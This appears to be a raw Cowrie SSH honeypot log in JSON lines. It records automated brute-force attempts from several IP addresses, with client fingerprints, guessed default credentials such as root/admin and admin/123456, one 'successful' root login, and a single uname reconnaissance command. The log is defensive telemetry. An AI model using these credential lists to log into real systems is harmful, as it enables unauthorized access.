{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:46.838892Z","src_ip":"5.196.136.131","session":"9b2498fca862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:47.202137Z","src_ip":"5.196.136.131","session":"9b2498fca862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:48.282903Z","src_ip":"5.196.136.131","session":"9b2498fca862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.223.30","src_port":61415,"dst_ip":"10.17.0.5","dst_port":22,"session":"54db5dda4a8d","protocol":"ssh","message":"New connection: 202.29.223.30:61415 (10.17.0.5:22) [session: 54db5dda4a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:49.203775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:49.209299Z","src_ip":"202.29.223.30","session":"54db5dda4a8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:49.441133Z","src_ip":"202.29.223.30","session":"54db5dda4a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2019!!","message":"login attempt [root/unitedstates2019!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:50.146911Z","src_ip":"202.29.223.30","session":"54db5dda4a8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":43062,"dst_ip":"10.17.0.5","dst_port":22,"session":"53d809ff7052","protocol":"ssh","message":"New connection: 5.196.136.131:43062 (10.17.0.5:22) [session: 53d809ff7052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:51.124748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:51.128343Z","src_ip":"5.196.136.131","session":"53d809ff7052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:51.204856Z","src_ip":"5.196.136.131","session":"53d809ff7052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:51.385251Z","src_ip":"202.29.223.30","session":"54db5dda4a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:51.435277Z","src_ip":"5.196.136.131","session":"53d809ff7052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:52.513842Z","src_ip":"5.196.136.131","session":"53d809ff7052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":31024,"dst_ip":"10.17.0.5","dst_port":22,"session":"af39f2ffc058","protocol":"ssh","message":"New connection: 5.196.136.131:31024 (10.17.0.5:22) [session: af39f2ffc058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:55.591047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:55.596635Z","src_ip":"5.196.136.131","session":"af39f2ffc058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:55.671854Z","src_ip":"5.196.136.131","session":"af39f2ffc058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:55.900884Z","src_ip":"5.196.136.131","session":"af39f2ffc058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:47:56.979249Z","src_ip":"5.196.136.131","session":"af39f2ffc058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":12056,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ed6e7044f8f","protocol":"ssh","message":"New connection: 5.196.136.131:12056 (10.17.0.5:22) [session: 2ed6e7044f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:00.186841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:00.191025Z","src_ip":"5.196.136.131","session":"2ed6e7044f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:00.268508Z","src_ip":"5.196.136.131","session":"2ed6e7044f8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:00.501442Z","src_ip":"5.196.136.131","session":"2ed6e7044f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:01.582226Z","src_ip":"5.196.136.131","session":"2ed6e7044f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":20883,"dst_ip":"10.17.0.5","dst_port":22,"session":"53df5f049fb1","protocol":"ssh","message":"New connection: 5.196.136.131:20883 (10.17.0.5:22) [session: 53df5f049fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:04.666677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:04.674212Z","src_ip":"5.196.136.131","session":"53df5f049fb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:04.752043Z","src_ip":"5.196.136.131","session":"53df5f049fb1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:04.987573Z","src_ip":"5.196.136.131","session":"53df5f049fb1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:05.172271Z","src_ip":"5.196.136.131","session":"53df5f049fb1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:05.174469Z","src_ip":"5.196.136.131","session":"53df5f049fb1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:05.254054Z","src_ip":"5.196.136.131","session":"53df5f049fb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:05.258074Z","src_ip":"5.196.136.131","session":"53df5f049fb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":29706,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf0f9cac7832","protocol":"ssh","message":"New connection: 178.128.39.166:29706 (159.203.135.109:22) [session: bf0f9cac7832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:08.168795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:08.246728Z","src_ip":"178.128.39.166","session":"bf0f9cac7832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:08.338033Z","src_ip":"178.128.39.166","session":"bf0f9cac7832","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":22223,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddc78180cc5e","protocol":"ssh","message":"New connection: 5.196.136.131:22223 (10.17.0.5:22) [session: ddc78180cc5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:08.991060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:08.994162Z","src_ip":"5.196.136.131","session":"ddc78180cc5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:09.074395Z","src_ip":"5.196.136.131","session":"ddc78180cc5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456","message":"login attempt [root/admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:09.233605Z","src_ip":"178.128.39.166","session":"bf0f9cac7832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:09.326024Z","src_ip":"5.196.136.131","session":"ddc78180cc5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:10.323183Z","src_ip":"178.128.39.166","session":"bf0f9cac7832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:10.405046Z","src_ip":"5.196.136.131","session":"ddc78180cc5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":52050,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebe794653194","protocol":"ssh","message":"New connection: 103.82.20.28:52050 (159.203.135.109:22) [session: ebe794653194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:10.512438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:48:10.515984Z","src_ip":"103.82.20.28","session":"ebe794653194","protocol":"ssh"}
